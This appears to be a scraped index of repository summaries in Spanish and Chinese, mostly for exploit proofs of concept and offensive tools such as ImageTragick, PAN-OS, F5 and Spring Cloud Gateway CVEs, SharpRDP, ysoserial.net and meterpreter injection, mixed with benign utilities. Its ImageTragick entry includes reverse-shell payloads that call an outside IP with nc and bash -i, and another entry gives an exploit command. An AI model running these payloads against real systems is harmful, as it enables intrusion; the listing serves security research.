CVE-2019-3980

CVE-2019-3980 Este repositorio fue creado para utilizar el PoC de Nessus con un ejecutable personalizado en C para ejecutar comandos en un host remoto y obtener la salida del comando. El archivo Python se utiliza para iniciar un servidor web, ejecutar el exploit y luego obtener los resultados a...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

SharpRDP

SharpRDP - 用于经过身份验证的命令执行的远程桌面协议控制台应用程序 构建 要编译，请在Visual Studio中打开项目并生成为Release版本。两个DLL将输出到Release目录，但您不需要它们，因为DLL已包含在程序集中。 如果您不想使用提供的DLL，您需要.NET SDK来创建AxMSTSCLib.dll DLL。要创建它，您需要从SDK中对mstscax.dll运行aximp。%%\aximp.exe %windir%\system32\mstscax.dll。这些DLL需要被项目引用以创建Interop DLL。...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Inyección de comandos en Palo Alto OS Descripción del proveedor Una vulnerabilidad de inyección de comandos en la funcionalidad GlobalProtect del software PAN-OS de Palo Alto Networks para versiones específicas de PAN-OS y configuraciones de funcionalidades distintas...

sunflower_exp

CVE-2022-10270 Affected versions: Sunflower Personal Edition Windows --thread Number of threads for scanning default thread count: 100 --help help sunflowerpocexp.py vulnerability verification and scanning tool Port detection: eg：python sunflowerpocexp.py --scan --ip --port --thread parameters...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 inyección de comandos. El paquete pdfkit es vulnerable a la inyección de comandos cuando la URL no está correctamente sanitizada. Nota: Este problema fue corregido en 0.8.7.2, pero se descubrió que el parche era ineficaz. La versión de parche...

CVE-2023-34152

CVE-2023-34152 Vulnerabilidad RCE que afecta a ImageMagick 6.9.6-4. Esta vulnerabilidad permite al atacante ejecutar comandos en el sistema de la víctima, permitiendo así la ejecución remota de comandos. Este es un POC inspirado en el descubrimiento de CVE-2023-34152 por fullwaywang. Divulgación ...

nextdns

NextDNS CLI Client NextDNS CLI es una herramienta de línea de comandos que te permite usar el servicio DNS-over-HTTPS DoH de NextDNS con capacidades avanzadas. Aunque las funciones más avanzadas solo funcionarán con NextDNS, este programa puede funcionar como cliente para cualquier proveedor de D...

CVE-2022-1388

CVE-2022-1388 Verificación y exploit para CVE-2022-1388 Instalación: python3 -m pip install -r requirements.txt Uso Individual : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' Masivo : python3 cve.py m...

ysoserial.net

Una herramienta de prueba de concepto para generar payloads que explotan la deserialización insegura de objetos .NET. Descripción ysoserial.net es una colección de utilidades y "cadenas de gadgets" de programación orientada a propiedades descubiertas en bibliotecas .NET comunes que pueden, bajo l...

CVE-2021-4045

CVE-2021-4045 CVE-2021-4045 es una vulnerabilidad de inyección de comandos que permite la ejecución remota de código en la cámara IP TP-Link Tapo c200. Afecta a todas las versiones de firmware anteriores a 1.1.16 Build 211209 Rel. 37726N debido a comprobaciones insuficientes de la entrada del...

ssh-mitm

SSH-MITM - auditorías ssh simplificadas Una herramienta interactiva de intercepción SSH para auditorías de seguridad autorizadas. Intercepta sesiones, monitoriza el tráfico en vivo, inyecta comandos y manipula transferencias de archivos — todo en tiempo real. !Follow me on...

CmdLineSpoofer

Command Line Spoofer An example of using C to inject a meterpreter shell, whilst spoofing the command line. The command line is stored in the Process Environment Block, is logged when a new process starts, and is displayed in tools such as Process Hacker and Task Manager. Introduction This code i...

fernflower

Fernflower Fernflower es el primer descompilador analítico que realmente funciona para Java y probablemente para un lenguaje de programación de alto nivel en general. Las versiones se publican en el repositorio de IntelliJ Community. Envía tus informes de errores y solicitudes de funciones al iss...

CVE-2022-22947

Spring Cloud Gateway Actuator API Inyección de expresión SpEL y ejecución de comandos CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 Uso: -t http://vuldomain.com //IP individual -f urls.txt //Escaneo masivo desde archivo, multihilo, rápido -c command //Comando...

WHOREPRESS

WordPress 登录检查器 安装 npm install --global whorepress 使用方法 确保你有一个列表，格式如下： url:username:pass whorepress list.txt 参数列表 参数| 描述 ---|--- --admin-only| 仅检查管理员权限 --debug| 调试错误输出 --output| 输出文件 作者 网站: https://imtaqin.id Github: @fdciabdul 支持我们 如果这个项目对你有帮助，请给个 ⭐️！...

CVE-2018-14667-poc

CVE-2018-14667-poc Entorno de vulnerabilidad Richfaces y PoC Campo de pruebas: el paquete war en vulenvironment se puede colocar directamente en tomcat PoC build:build artifactId run:java -jar CVE-2018-14667-poc.jar "cmd" about debug Descomprima el war en el directorio vulenvironment, luego...

botkube

Botkube 是一个用于监控和调试 Kubernetes 集群的消息机器人。 概述 Botkube 是一款故障排除和监控解决方案，它使 DevOps 团队能够更高效地工作，让开发人员无需特殊的 Kubernetes 访问权限或知识即可调试自己的应用程序，并通过在您的 Kubernetes 环境中及时提供增强上下文的通知来提高可靠性。它集成了多种通信平台，例如 Slack、Discord 或 Mattermost。Botkube 监控来自各种源的事件，允许您安全地运行命令，并执行由任何 Botkube 支持的插件 或您自己的自定义插件 触发的自动化操作。 您还可以在 K8s 上执行...

AtomShields-cli

AtomShields Cli AtomShields Cli es una Interfaz de Línea de Comandos para usar el software AtomShields .. raw:: html Instalación .. code-block:: shell pip install atomshieldscli Uso básico .. code-block:: shell ascli --target --name Los valores permitidos de action son: install : Para instalar un...

preflight

Preflight.sh Preflight.sh es una herramienta de línea de comandos que analiza tu código en busca de preparación para el lanzamiento. Identifica configuración faltante, problemas de integración, preocupaciones de seguridad, brechas de metadatos SEO y otros errores comunes antes de que despliegues ...